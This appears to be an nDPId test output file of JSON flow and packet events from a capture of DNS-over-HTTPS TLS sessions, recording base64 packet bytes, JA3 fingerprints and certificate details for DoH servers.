+00688{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":676307,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"ZmZmZmZmRERERERECABFAADr44xAADQGi3LBRlULCgAAAQG705Siz6Vhpzc8\/lAYAfV5MAAAFwMDAL4Y\/TNvQbA387qryrTfghOJwmBq7MrrqjaXgMYkUrdb7+JV7GyX2G1PlYEBhrHtmGmLe8TY\/GzaK\/74z5502T2LG8iavzUZbT7qD3yWi4wLUUuzZgCc8gQgsaBuwMQyskQjNARBgpNUYYX\/vIFT3JcxdZbYJJamKEp6CJnx0\/ERgrjyKOUeId0DgNdohXVJsvUqUinT5MHse8b9T1mcvnPy7kU\/joqvQgHKNgEtNxFahCTXP\/UEY3nBkseKTsx4"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":469,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":946739400702,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35714,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00807{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":702099,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"REREREREZmZmZmZmCABFAAFILINAAH4GS1wKAAAB0frxGYuCAbtSRrNTwAekRVAYAfaFCwAAFgMBARsBAAEXAwMzpeRPPpmPOBWwlYuEr5uNgoasUYbxY5rOmYFKCjGtJyAIAEydch7b9cupGuDzo92xh9NLKrnQMxUlfE7nWZM5\/gAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACoAAAAFwAVAAASamFyamFyLm1lZ2FuZXJkLm5sAAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIJeuQLdGEJN7n7Os\/LoZLYTlp1p11dddxIYAQZdOassB"} +00779{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":469,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":946739400702,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35714,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"jarjar.meganerd.nl","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +03183{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":727632,"pkt_caplen":2102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2102,"pkt_l4_len":2068,"pkt":"ZmZmZmZmRERERERECABFAAgouN1AADcG\/yHR+vEZCgAAAQG7i4LAB6RFUka0c1AYAfWL6wAAFgMDAGYCAABiAwNagb8+u4y1yd1xwzS1nH\/nTUIdC4eY2A55MtUayrM8fyDO5yrWZS4Aa1iS7gSLPLT\/C8LAuC029TJv1sr4CTESSMAwAAAa\/wEAAQAACwAEAwABAgAFAAAAEAAFAAMCaDIWAwMKAwsACf8ACfwABWAwggVcMIIERKADAgECAhIDDKJHTnwjwsnrm2DLrI1zNLUwDQYJKoZIhvcNAQELBQAwSjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMTGkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMB4XDTIwMDcxNDIzNDcyMVoXDTIwMTAxMjIzNDcyMVowHTEbMBkGA1UEAxMSamFyamFyLm1lZ2FuZXJkLm5sMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv9OPyuZ6JwIE6bPDfiRhbYPMkVlSRq93tijiXoOFC9OQc4eXtoMomU6kKPy5Z0NTzEB3WAHxrA4SRx6q3\/yefPeWA8HsMuYfQZpftg95obbyxbYYejVTJGcDt7bBAbyfyHwpa9VQXCZ1NM6170XCwqiTXQ5pCT67h001VbP663EnKohkf0MUwppbn6Q5xEFc+o+3D6IU\/rxkzW1SQTh0phbzb1Op8DfM63A\/ZtxaA5UoEOBp23CMkB\/vP5ul2uJharTqU\/BfvvV3HB\/zu9o43hkbooUEyMuBJn0+O6orVhwG1QVKM6xj5TM6ZcijU2+3rS+x7vNJUt\/bTHh7sHDviQIDAQABo4ICZzCCAmMwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRLbCV+QerkMWgquQ7dzQvZqcefiTAfBgNVHSMEGDAWgBSoSmpjBH3duubRObemRWXv86jsoTBvBggrBgEFBQcBAQRjMGEwLgYIKwYBBQUHMAGGImh0dHA6Ly9vY3NwLmludC14My5sZXRzZW5jcnlwdC5vcmcwLwYIKwYBBQUHMAKGI2h0dHA6Ly9jZXJ0LmludC14My5sZXRzZW5jcnlwdC5vcmcvMB0GA1UdEQQWMBSCEmphcmphci5tZWdhbmVyZC5ubDBMBgNVHSAERTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIBFhpodHRwOi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABc0\/ws2wAAAQDAEgwRgIhAMWgM8fCSKocSMS6vNmRTIKDzMWXKgtHRh\/4TftRR0QHAiEA3JSerrntM9u7waurWrvwybuL6dB9RsJnzjR8MMY9tuIAdQAHt1wb5X1o\/\/Gwxh0jFce65ld8V5S3au68YToaadOiHAAAAXNP8LOOAAAEAwBGMEQCIG6J2T+qpPVVFxjS27cFglwKmn3u\/zi2QCL4kFgVvwefAiAZm3eKKyeMogTwUuYzbx+RsfIEqA9nNOdkRRv\/z1FxuzANBgkqhkiG9w0BAQsFAAOCAQEAcAija84yR1ADOoiyrdQFCgxJZB2BUUNBtRgi8ZPFZIdUaVPomyGL3oK59c6IO+gMw6xbSeGsLaVjettLRMJ2uMl6JZkgjV1Bhp3NdPQKieFpoaEiEBUAwqL8TSBKdJ\/mAMQLAKadqZ1hZKcVTPtXVdd5Q28iLasE\/NjtopLZOa1XOJt0sUbRAHa2FOZzb42ureqnIdzzYgm+hY18KJUkfrSxCg2dd4MTgQuYu+ZhUpaMB2rAm94XcTgVTGO5ADi5NM0oEFFNdNKrAyCom1jWC2m8LyYfCzUJEAYCAUd1WL438vW1Z0FQZK5dAca9qTf6FxrRdYRYrY7oGND3IwvyWwAEljCCBJIwggN6oAMCAQICEAoBQUIAAAFThXNqC4XspwgwDQYJKoZIhvcNAQELBQAwPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzAeFw0xNjAzMTcxNjQwNDZaFw0yMTAzMTcxNjQwNDZaMEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQDExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJzTDPBa5S5Ht3JdN4OzaGMw6tc1Jhkl4b2+NfFwki+3uEtBBaupnjUIWOyxKsRohwuj43Xk5vOnYnG6eYFgH9eRmp\/z0HhncchpDpWRz\/7mmelgPEjMfspNdxIknUcbWuu57B43ABycrHunBerOSuu9QeU2mLnL\/W08lmjfIypCkAyGdGfIf6WauFJhFBM\/ZemCh8vb+g5W9oaJ84U\/l4avsNwa72sNlRZ9xCugZbKZBDZ1gGusSvMbkEl4L6KWTyogJSkExnTA0DHNjzE4lRa6qDO4Q\/GxH8Mwf6J5MRM9LTb44\/zyM2q5OTHFr8SNDR1kFjOq+oQpttQLwNh9w5MCAwEAAaOCAX0wggF5MBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0="} +00847{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":470,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":2,"flow_first_seen":946739400702,"flow_last_seen":946739400727,"flow_tot_l4_data_len":2376,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2068,"flow_avg_l4_data_len":1188,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35714,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"jarjar.meganerd.nl","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"2464432ec440b95b36263230c3148d11","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02419{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":727678,"pkt_caplen":1535,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1535,"pkt_l4_len":1501,"pkt":"ZmZmZmZmRERERERECABFAAXxuN9AADcGAVfR+vEZCgAAAQG7i4LAB6xFUka0c1AYAfWJtAAADwEB\/wQEAwIBhjB\/BggrBgEFBQcBAQRzMHEwMgYIKwYBBQUHMAGGJmh0dHA6Ly9pc3JnLnRydXN0aWQub2NzcC5pZGVudHJ1c3QuY29tMDsGCCsGAQUFBzAChi9odHRwOi8vYXBwcy5pZGVudHJ1c3QuY29tL3Jvb3RzL2RzdHJvb3RjYXgzLnA3YzAfBgNVHSMEGDAWgBTEp7Gkeyxx+tvhS5B1\/8QVYIWJEDBUBgNVHSAETTBLMAgGBmeBDAECATA\/BgsrBgEEAYLfEwEBATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vY3BzLnJvb3QteDEubGV0c2VuY3J5cHQub3JnMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuaWRlbnRydXN0LmNvbS9EU1RST09UQ0FYM0NSTC5jcmwwHQYDVR0OBBYEFKhKamMEfd265tE5t6ZFZe\/zqOyhMA0GCSqGSIb3DQEBCwUAA4IBAQDdM9cR82NYON0YFfsJVb52VrlwSKVpRyd7wiQIkvFaH0oSKTckdFEcYmi4zZVwZ+X3pLxOKFHNm+iuh53q2LpaoQGa3PDdah1q2D5XI56mHgRimv\/XBcq3Hz\/ACki8lLC2ZWLgwVTloyqtIMTp5rvcyPa1wzKjmMx3qOZ5ZQcryyj+OhZSgc5SDC5fg+jVBjP7d2zOQOoynh+SXEHBdGxbXQpfM8xNn6w48C97LGKd2aORbyUbL5CxGUY99n4bpnqHuaN6bRj6JaWRhxXg8hYvWLAGLyxoJsZLmM3anwz5f5DtQ0oSRE5vc3oo6qSqbntMfYfd4MkCRKeHr8M0W7RCFgMDAhcWAAITAQACDzCCAgsKAQCgggIEMIICAAYJKwYBBQUHMAEBBIIB8TCCAe0wgdahTDBKMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3MgRW5jcnlwdDEjMCEGA1UEAxMaTGV0J3MgRW5jcnlwdCBBdXRob3JpdHkgWDMYDzIwMjAwOTA0MDA0OTAwWjB1MHMwSzAJBgUrDgMCGgUABBR+5mrncpqz\/PiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7\/Oo7KECEgMMokdOfCPCyeubYMusjXM0tYAAGA8yMDIwMDkwNDAwMDAwMFqgERgPMjAyMDA5MTEwMDAwMDBaMA0GCSqGSIb3DQEBCwUAA4IBAQAoMB1ePZKC8NpTy2434kCI6h8NAXGSDejnRZYFr2QSx+TpoZipUWbMWCq8UzrMIxKC8UJACJQc6RIM+Xgz0ZRbGx25OD3V4vLxsczn\/nEIsXCHGvGoEBJqPqesQfpmU9r+oB2CbUgxGaJxDFqnidG6tH5KNxFVbrX2lPzXeDzKwLN1eUiZU\/lMuAOJwkK8zmwVXP5H7g6aco+MiZp06K8b\/Da3w0YGUY9fjEablMtV5ViuxARhZw1pWYWZo\/jGfvICDNvPKmx8V1X1Z4R8rNjm8UiPRR8P0NarasVvNtWs+6fXGpl\/hFMZzj6z4oAVh0vYNXKYxmaDs8l6pH8OOZ\/cFgMDASwMAAEoAwAdIBuLZjnTB3Kjce7+mNxfaBiRgPo4iNkyTjzm6+fh98MBCAQBAAD35z4OurpaleuYyQXrRwgunZx5itw99f\/qns7fqVRPpCakkPBqYtIkrAQds7t3x9gcyB3pN\/ek7QU4lXsRRnsrWpFsVpkkgouj8noQcYPmvp55cuzOEjLxYK5KOB1bU10ZmdANW3hMqgjTathZk6jfjNOD8MgF15uckgPUXOITOpG7UYd\/YtxRx7xgMGY0jlH\/+xeUF+NSAiy6s9oSi0oU\/QlatPOidPhVmRC84vWQNkgJhZubcKWseKLjiRRL9zUmMJ2fjig0R0EKUVh0pAUSNWsA0m3x1YIPV6kX\/fzGNkCBx4kijVkxENgEgAD9si+WguAjMtSH5qQYN0CMxwsWAwMABA4AAAA="} +01105{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":471,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":3,"flow_first_seen":946739400702,"flow_last_seen":946739400727,"flow_tot_l4_data_len":3877,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2068,"flow_avg_l4_data_len":1292,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35714,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"9":"TLS Expired Certificate"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"jarjar.meganerd.nl","server_names":"jarjar.meganerd.nl","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"2464432ec440b95b36263230c3148d11","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3","issuerDN":"CN=jarjar.meganerd.nl","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"17:C9:8C:F5:DD:1F:0E:0F:DC:C5:42:4F:ED:C4:CD:57:5A:5D:7A:4F"}} +00544{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":729872,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"REREREREZmZmZmZmCABFAACFLIZAAH4GTBwKAAAB0frxGYuCAbtSRrRzwAeyDlAYAfWESAAAFgMDACUQAAAhIFrMk2g1XxRnkwN933MQ\/vEuKAIrPsEtdQ8XwZlKgX5QFAMDAAEBFgMDACgAAAAAAAAAAEgtNJFxGFxxxT5Wgfvmxud3VLSSH9hQHBUaUB9qvfYZ"} +00487{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":754083,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ZmZmZmZmRERERERECABFAABbuOFAADcGBuvR+vEZCgAAAQG7i4LAB7IOUka00FAYAfVwaAAAFAMDAAEBFgMDAChUn0cMTAufsksasolz73Qdzf\/2+QYz6jP4Gw+eKrW+TSaX2KNtN3mv"} +00510{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":754122,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"ZmZmZmZmRERERERECABFAABtuOJAADcGBtjR+vEZCgAAAQG7i4LAB7JBUka00FAYAfU4+AAAFwMDAEBUn0cMTAufs5C+MZY2hrafZ4EG2X+BGXTwD+FMqilLBcQDOoGlAmOq+AbxwIvaJE1kGGXhoFbZaiZKMJNhg4aR"} +00543{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":754398,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"REREREREZmZmZmZmCABFAACFLIhAAH4GTBoKAAAB0frxGYuCAbtSRrTQwAeyhlAYAfWESAAAFwMDAFgAAAAAAAAAAYIWkSfXDgYWeabFGwJKgBBXuK2BLddPrLspAqomaOumRb4SJw+zeZGGfSLvvyekw89yi8Umej+DFgsP4CVJ8UXuJCOYhTVPwM5yNJ5KLqKm"} +00658{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":754574,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"REREREREZmZmZmZmCABFAADZLIlAAH4GS8UKAAAB0frxGYuCAbtSRrUtwAeyhlAYAfWEnAAAFwMDAKwAAAAAAAAAAqzPH+9oxBPblym7ieDiaqhymwsR+B8aK\/1nuM9p9yrRqCMplZSJFY1dtdSkQyDd9E8sm7IrgmR8X07YI1dZc0oywbPqY5z+I0hrdztrql1e3oCb7rHCC+cs02SRDEOGG50Lgr5s8cgwrReAo38u8zS4Rpp4CsgaIoKUU5N6zber\/8QOWhw361FvBhluRHPHNSuzrhIwN\/kD5kgYtUU3ybQ+7oj+"} +00468{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":754635,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"REREREREZmZmZmZmCABFAABOLIpAAH4GTE8KAAAB0frxGYuCAbtSRrXewAeyhlAYAfWEEQAAFwMDACEAAAAAAAAAA1r3AluILlliBeXgqITk4r3UkvMh8L80cac="} +00539{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":754834,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+LItAAH4GTB4KAAAB0frxGYuCAbtSRrYEwAeyhlAYAfWEQQAAFwMDAFEAAAAAAAAABGvROubl4Ptsb44cO0B7wvE65\/\/iAoDky+XpCw\/4eRMlNPw1Es4hy37IbYsC2vDKmvZVw215SYP6j8rBQQm38H+1s2RKPOeY8w0="} +00470{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":778024,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ZmZmZmZmRERERERECABFAABOuONAADcGBvbR+vEZCgAAAQG7i4LAB7KGUka1LVAYAfUwIQAAFwMDACFUn0cMTAuftIx5aCXX1Dk83CjVXzUaimxiMwfLQTXaV\/k="} +00473{"flow_id":29,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":778533,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"ZmZmZmZmRERERERECABFAABSuOVAADcGBvDR+vEZCgAAAQG7i4LAB7KsUka2BFAYAfVK4wAAFwMDACVUn0cMTAuftUkvH1jgpWF3p73oGAvakhRFN4S6LMWZ0GnUAmVd"} +00984{"flow_id":29,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":779063,"pkt_caplen":469,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":469,"pkt_l4_len":435,"pkt":"ZmZmZmZmRERERERECABFAAHHuOZAADcGBXrR+vEZCgAAAQG7i4LAB7LWUka2WlAYAfVtVwAAFwMDAZpUn0cMTAufttXw+Wnq4a8GOUVwXNhriVC+b\/v1NA\/TyyizPF8SN+\/iANfNdEIw1hHOjLXIBSC6TIq6yVuNTS4jkIJ6\/75YqlD37vd8cKEbuAO9g2HKvtcAbZnIZb16EEM4Y8x1DXRNcy8QnNtphGW34V\/Wo8lNlfUhdjlnpmEjh4EizEdoIcqeltCAb7bB\/o1fCtAxdjINx6EGlPxt67yknjg8s2L7hU3IBhwhMwnDDtgK2qDefPoi4gD4bBr3J53vnc7WVHILxO0qJPSiXDPfbcj9YoaAbQV9BCBRLu9Q1JxnViIe8reyImKiqe4+oiGn70GKVoXu3U91sni5Yqi\/qok1JBy6h5mp0YpMpZdhodzyfLsIU4mJ45hIOnNX44QZnvy1S8zz46tMt38y35Qi0KiAlpBHo2CkiINwbs4oXv5s5gXforYuJBIMuRpbpROYVhGd3ijjZa4cLYfpxKlkvaykl1XNpOvOin8ZVPFh\/OuslgR90VJbuURRuq0f9sqGz67CPebLxAqreB3KV4+1KDGxjte9vSueNQ=="} +00570{"flow_id":29,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":779528,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"REREREREZmZmZmZmCABFAACTLI1AAH4GTAcKAAAB0frxGYuCAbtSRrZawAe0dVAYAfWEVgAAFwMDAGYAAAAAAAAABXG\/KQ+1f119dlMHblR2yidnQRbPvW\/zq63F\/igpgY2RqnaozqFyuABfvZrMQkxz0fmLCoThfIqwIZSAKsK+0ZpgoKUVQoA\/SuZsr\/YGiOO2ertUe8\/qVvDQqLhwLz0="} +00582{"flow_id":29,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":779624,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"REREREREZmZmZmZmCABFAACdLI5AAH4GS\/wKAAAB0frxGYuCAbtSRrbFwAe0dVAYAfWEYAAAFwMDAHAAAAAAAAAABkcWKuZir635GoU1xm6sJ2pRP8I0lJaRiou4x857lKheGwpvuwMadXPtJo+n0\/ZVfO2j\/AWrt\/rHPyN+D9GGnGfJgyGzaweQAcKD9eDsiGzhiW0OZAjxJa9MS\/UdwGs\/MkWfhwyKm0VG"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":486,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":946739401864,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"95.216.229.153","src_port":43888,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00814{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":864559,"pkt_caplen":346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":346,"pkt_l4_len":312,"pkt":"REREREREZmZmZmZmCABFAAFMN1VAAH4GvigKAAABX9jlmatwAbtGU6iimu8Jz1AYAfYHbQAAFgMBAR8BAAEbAwOH23fm3DrJaQXLovxzyYyk5R\/PesPVPPqPMsnNPw9NhCA+BKUjIeM9NnmcNXI7jO56RaAWoMnCcXIJRfPvBK89HQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACsAAAAGwAZAAAWZmkuZG9oLmRucy5zbm9weXRhLm9yZwAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACAgB93oNekrupxQPrzRHifFos9GGTUaOGYLuLqXCSqLFg=="} +00783{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":486,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":946739401864,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"95.216.229.153","src_port":43888,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fi.doh.dns.snopyta.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04343{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739401,"pkt_ts_usec":922095,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuALHhAADcGBdJf2OWZCgAAAQG7q3Ca7wnPRlOpxlAQAfURoQAAFgMDAHoCAAB2AwPibR+Wkzsx56DJDm5Eu1YLQR+8sKrid6w\/L4hLlzFi7CA+BKUjIeM9NnmcNXI7jO56RaAWoMnCcXIJRfPvBK89HRMCAAAuACsAAgMEADMAJAAdACBuK8qBa63Irnemz8DqNJ321mRXUwu2HpEN9mUutJb4PxQDAwABARcDAwAkUOaHYP5iZ2NNWAzfU4nuMA